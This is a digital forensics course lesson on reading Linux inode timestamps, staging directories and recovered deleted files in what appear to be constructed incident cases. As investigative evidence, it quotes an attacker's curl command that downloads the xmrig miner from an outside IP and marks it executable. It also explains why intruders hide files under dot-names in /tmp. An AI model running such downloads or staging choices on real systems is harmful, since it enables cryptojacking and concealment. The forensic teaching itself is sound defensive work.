Reading width
Wide uses the full column for everything, text, diagrams, code, and exercises. Narrow keeps the standard reading width.
Text size
Scales the body text. Headings and code blocks keep their size.
In this section
Linux Filesystem Forensics: Timestamps, Staging Areas and Deleted Files on Compromised Hosts
Introduction
A file on Linux is two things: its contents, and an inode that describes it. The inode holds the owner, the permissions, the size and a set of times, and it is updated by the filesystem itself as the file is written, read and changed.
An investigator can read the inode without trusting anything the attacker wrote into the file, which is why the filesystem's own record is the second kind of evidence this course reads after the live host.
This lesson reads that record on three hosts. The web server from lesson 0.1 shows what three times say about one file and what they say about a night. A RHEL application server shows a miner hidden in a staging directory. And a database server shows what remains of files that were deleted.
Four times a modern Linux filesystem can hold for a file. This collection recorded the first three.
The figure is the vocabulary. Each time is set by a different event, and each is trustworthy for a different question. The fourth exists on modern filesystems but this collection did not record it, which turns out to matter.
Three Times on One File
The web shell and the request that wrote itThe web server's collection holds metadata for 50 files. The one the intruder used to get in:
File: /var/www/html/.well-known/acme-challenge/shell.php
Size: 1847 Owner: www-data Mode: -rw-r--r--
Modify: 2026-03-10 02:13:22
Change: 2026-03-10 02:13:22
Access: 2026-03-10 02:28:05
Size, owner and mode first. A PHP file of 1847 bytes owned by www-data, in /.well-known/acme-challenge/, a directory that exists for certificate renewal and has no reason to hold PHP. Then the times: modified and changed at the same second, 02:13:22 on 10 March, and last accessed at 02:28:05.
The web server's access log has the requests that match:
02:13:22 203.0.113.99 POST /upload.php 200
02:14:03 203.0.113.99 POST /.well-known/acme-challenge/shell.php 200
02:28:05 203.0.113.99 POST /.well-known/acme-challenge/shell.php 200
The upload form received a POST at 02:13:22, the same second the file's contents were written. The first request to the shell came forty-one seconds later. The last of the 20 requests to it came at 02:28:05, the same second as the file's access time. Two independent records, one kept by the filesystem and one by nginx, agree on both ends of the shell's working life.
Notice what the access time says about the requests in between. Every request to the shell read the file, but only the last read survives in the inode, because the access time holds one value and each read replaces it.
The log keeps all 20; the inode keeps the most recent. That is the general shape of filesystem metadata: a set of latest values, not a history, which is why it pairs so well with logs that keep every event.
What the web shell's times say
Three times, one storyModify equal to change says something too. Writing a file's contents updates both; changing only its owner or permissions updates change alone. A file whose two times match was written and then left alone, which fits a file dropped by an upload form and used as it was. Module 2's timestamp lesson works through every combination and what each one implies.
The card's last line is the caution. Every one of these times can be set by a user who owns the file or by root, and the tool most often used for it sets them to whatever the attacker chooses.
The time that resists that is the birth time, which this collection did not record. Here the web log supports the modify time independently, so the gap does no harm; without the log, it would.
A Night From Metadata Alone
Every file modified on 10 MarchSorting the collection by modification time and keeping only the files written on 10 March, with the deploy account's key file added from the SSH key records:
02:13:22 www-data /var/www/html/.well-known/acme-challenge/shell.php
02:28:05 deploy /home/deploy/.ssh/authorized_keys
02:37:22 root /tmp/.cache_update.tar.gz
02:39:44 root /usr/local/bin/.syscheck
02:42:11 root /etc/systemd/system/syshealth.service
5 files in thirty minutes, and read in order they are the intrusion. The web shell at 02:13. A key added to the deploy account at 02:28. An archive in /tmp at 02:37.
The hidden program in /usr/local/bin at 02:39 and the service unit that runs it at 02:42. Not one of those records was written by the attacker's own tools; each was set by the filesystem as a side effect of what the attacker did.
Root's shell history from lesson 0.1 tells the same story from the other side. tar ran at 02:37:22, the copy into /usr/local/bin at 02:39:44, and the unit was written at 02:42. Where the history and the metadata agree, each supports the other. Where they disagree, the metadata is usually the better witness, because a history is a file the user writes and the inode is a record the kernel keeps.
The list also shows the method Module 2 builds on, and it is worth saying plainly how little it needed: one field, sorted. A timeline from metadata needs no logs, no history and no cooperation from the attacker, only a collection that records the times.
Module 2's timeline lesson does this at scale with tools that walk an entire filesystem image, and the sort above is the smallest possible version of the same idea.
What the list does not show is just as useful. The database dump the attacker deleted at 02:39 has no record, because a deleted file has no name for a listing to find. Root's crontab changed at 02:40 but is held in a different record type. A timeline from one source is a timeline of what that source records, and the gaps are where the next source starts.
There is one more thing to notice about the list: it is short. A busy server modifies hundreds of files a day, logs and caches above all, and this collection recorded only a sample.
On a full disk image the same sort returns thousands of lines for the night, and the work becomes filtering: by directory, by owner, by the minutes either side of a known event. Module 2's timeline lesson is mostly about that filtering, because the sort itself is trivial.
What Each Time Can Be Trusted For
The limits the next module testsThe three times are not equally reliable, and an investigator who treats them as interchangeable will be misled sooner or later. The card sets out what moves each one.
What moves each time
Forgeable and notThe modify time is the most often useful and the easiest to forge. It is set when contents are written, and the touch command can set it to any value at all. Its strength is that ordinary software rarely changes it without changing the contents, so a modify time that agrees with another record, like the web log above, is strong; one that stands alone is a claim.
The change time is harder to forge. Setting the modify time by hand updates the change time to the moment it was done, so a file whose change time is long after its modify time has had its metadata touched since it was written.
The usual way to move the change time is to change the system clock or to edit the filesystem directly, both of which leave their own records. That is why Module 2 reads the two together.
The access time is the least reliable. To avoid a disk write on every read, distributions mount filesystems with options that update it only under some conditions, so a file can be read without its access time moving. When it does move, as it did for the web shell and for /usr/local/bin/.syscheck at the second its process started, it is good evidence. When it does not, it proves nothing.
The birth time is the one an attacker cannot set with ordinary tools. ext4 and xfs both keep it, and the stat command on a current system prints it as Birth.
This collection's file records did not include it, and that decision was made when the collection was built, not during the intrusion. Module 2's anti-forensics lesson shows the cases where it is the only time left telling the truth, and Module 11's readiness lessons are where a collection gets built to keep it.
All four have one more limit in common: they are values from the host's own clock. A server whose clock drifted, or was set wrongly, records consistent times that are consistently wrong, and comparing them with a log kept elsewhere, such as the firewall's, is how the offset is found. Module 3's lesson on what a timestamp actually means takes that up.
A Miner in a Staging Directory
Two files with one size on a RHEL serverThe second case is a different server: SRV-NGE-MCR-APP01 in INC-NE-2026-0563, which the case describes as RHEL 9 running a Node.js application. Monitoring flagged three days of near-total CPU use. Every file the collection recorded:
2026-03-08 02:00:00 -rw-r--r-- appuser 23105 /opt/app/config/production.yml
2026-03-10 00:00:00 -rw-r--r-- root 21098 /var/log/nginx/access.log
2026-03-10 05:00:00 -rw-r--r-- root 46089 /var/log/nginx/error.log
2026-03-11 14:00:00 -rw-r--r-- appuser 5986 /opt/app/package.json
2026-03-12 03:48:05 -rwxr-xr-x deploy 4892672 /home/deploy/xmrig
2026-03-12 03:48:30 -rwxr-xr-x deploy 4892672 /tmp/.cache_helper
2026-03-13 08:00:00 -rw-r--r-- appuser 37849 /opt/app/server.js
Five of the files belong to the application and its web server: configuration, code and nginx's logs, owned by appuser or root. Two do not. At 03:48 on 12 March the deploy account wrote an executable called xmrig in its home directory, and twenty-five seconds later an executable called .cache_helper in /tmp. Both are 4892672 bytes.
Identical sizes written seconds apart are one program under two names, and deploy's history says how:
03:48:05 deploy curl -sO http://185.143.40.91:8080/bins/xmrig && chmod +x xmrig
03:48:30 deploy mv xmrig /tmp/.cache_helper
The program was downloaded with curl and moved to /tmp under a name that a plain directory listing will not show. That is a staging choice, and Module 2 has a lesson on staging areas: /tmp and /dev/shm because every account can write there, a leading dot because default listings skip it, and names that imitate a cache or a system helper because nobody looks twice at those.
The case also shows what three days of a miner looks like on disk: almost nothing. Two files, one crontab line, and a CPU graph. A miner is designed to stay quiet everywhere except the processor, and the filesystem records only the moment it arrived. The move also has a filesystem consequence worth knowing.
Within one filesystem, mv renames the file and the inode stays the same, so only one record would exist. Between filesystems, it copies the data and deletes the original. This collection holds records for both paths, which fits the second case, and Module 2's deleted file lesson shows how to tell which one happened from the inodes themselves.
Look at the owner too. Both files belong to deploy, which is the account that was logged in, so the miner ran with deploy's permissions rather than root's even though the history shows a sudo -i a few seconds earlier.
Ownership on disk says which account wrote a file, and that is not always the account the attacker had at its most powerful. Module 5 reads that difference carefully, because it is often where an escalation claim turns out to be wrong.
Deleted, and What Is Left
A name removed, data that may remainDeleting a file on Linux removes a name. When no names and no open handles remain, the filesystem frees the inode and its blocks for reuse, and until they are reused the data may still be on the disk. What a collection can show of a deleted file depends entirely on how far that process had gone when it ran.
On the web server, root deleted /tmp/.cache_update at 02:39 and the collection, taken twelve hours later from the live filesystem, has no record of it. Only the history line and the compressed copy show it existed. On the third host, the database server SRV-NGE-DB01 in INC-NE-2026-1501, the collection recovered deleted files with their deletion times:
/tmp/crm_export.dump 3800000000 postgres modified 10:27 deleted 10:32
/tmp/crm_export.dump.gz 750000000 dbadmin modified 10:29 deleted 10:32
A production database export of 3800000000 bytes was written at 10:27, compressed to 750000000 bytes by 10:29, about 5.1 times smaller, and both were deleted at 10:32. The journal on the same server records what happened between the compression and the deletion: at 10:30, sudo ran scp to copy the compressed file to another host. The files were removed after they had done their job.
Two habits follow. First, the absence of a file in a listing is not evidence it never existed; it is evidence of when the listing was taken. Second, recovered deleted files are some of the strongest evidence a filesystem keeps, because the person who deleted them believed they were gone.
A deletion is also an act with a time, and here that time sits two minutes after the transfer, which is the order of someone finishing a job and tidying up. Module 2's deleted file recovery lesson covers why ext4's extent layout makes some recovery methods fail silently, and the filesystem journal lesson covers the record of recent changes that often outlives the files themselves.
The recovered sizes have a use beyond proving the files existed. The compressed size is what crossed the network, and with the transfer's time from the journal it bounds how long the copy took and how much data left. Those are the numbers a notification decision needs, and on this server they came from files the attacker removed.
What Module 2 Builds On It
Filesystem forensicsModule 2 takes the filesystem from structure to workflow. It starts with ext4 and xfs as an investigator needs them, then timestamps, deleted file recovery and timeline generation, the staging areas and the permission bits attackers rely on, user artifacts, anti-forensics, and finally the workflow and the filesystem journal.
What Module 2 builds
Module 2Each section of this lesson is a short version of one of those. The web shell's times are the timestamp lesson. The night sorted by modification time is the timeline lesson. The miner in /tmp is the staging lesson, and the recovered dumps are the deleted file lesson. The missing birth time points at anti-forensics, where it matters most.
The habits to carry into it are the ones this lesson used. Read the inode before the contents, because it is the record the attacker did not write. Match each time against a record kept by something else.
Know which time an attacker can set and which they cannot. Treat identical sizes and seconds-apart writes as a lead. And read a deleted file's absence as a fact about when the collection ran.
None of those habits depends on a particular tool. The same reading works on the parsed records here, on stat output from a live host, and on a timeline from a full image, because each of them is a view of the same inode fields. Module 2 uses whichever view the situation allows and says which one it is using.
The order of the module follows the order an investigation takes on a disk image: understand the filesystem, read the times, recover what was removed, build the timeline, then look for what was planted and what was hidden. Module 2 also changes the working material.
Instead of parsed records, it works on disk images built in your own lab, where you can create, modify, touch and delete files and then see exactly what each operation left. That ground truth is what lets the module say which methods work rather than which are recommended.
It also covers the differences between the two distributions where they matter. Ubuntu's default filesystem is ext4 and RHEL's is xfs, and their on-disk structures differ enough that a recovery method for one can fail completely on the other. Every lesson in Module 2 shows both.
Practice
Decide which files the intruder left prepared evidenceThe prepared evidence below is every file record collected from SRV-NGE-MCR-APP01 in INC-NE-2026-0563. Decide which files the intruder placed, what the two with matching sizes are, and why the intruder chose where to put them. Each answer comes with its reasoning, so check it against the rows rather than only the choice.
Read the owner and the time together. The application's files are owned by its service account or by root; anything owned by a login account and written at a quarter to four in the morning needs an explanation.
Then read the paths. Configuration lives under /opt/app, logs under /var/log; a file in a home directory or in /tmp is outside both, and its location alone is a reason to look closer. Size is the last check: two files of exactly the same size are worth comparing whatever their names.
The permissions column has one more signal. Both intruder files are executable by everyone, and a downloaded file is not executable until somebody makes it so. The chmod in the history and the mode on disk agree, which is the same kind of corroboration the web shell's times had with the web log.
Then, on a lab host, create a file, note its four times with stat, set its modify time to a date last year with touch, and run stat again.
Note which times moved and which did not; that one comparison is most of what Module 2 teaches about forged timestamps. Then copy the file to /tmp and move it back, on the same filesystem and across two, and compare the inode numbers stat reports each time. The difference is the one this lesson's miner left behind.
A file's inode is a record the filesystem keeps for itself.
On the web server it dated the web shell to the second and rebuilt the night without a single log; on the application server it tied two names to one program; on the database server it kept files the intruder had deleted. Its limit is the time it was not asked to keep, and the files that were gone before anyone looked.
The next lesson moves from what the filesystem records to what the logging system records, and what an attacker with root can take out of each.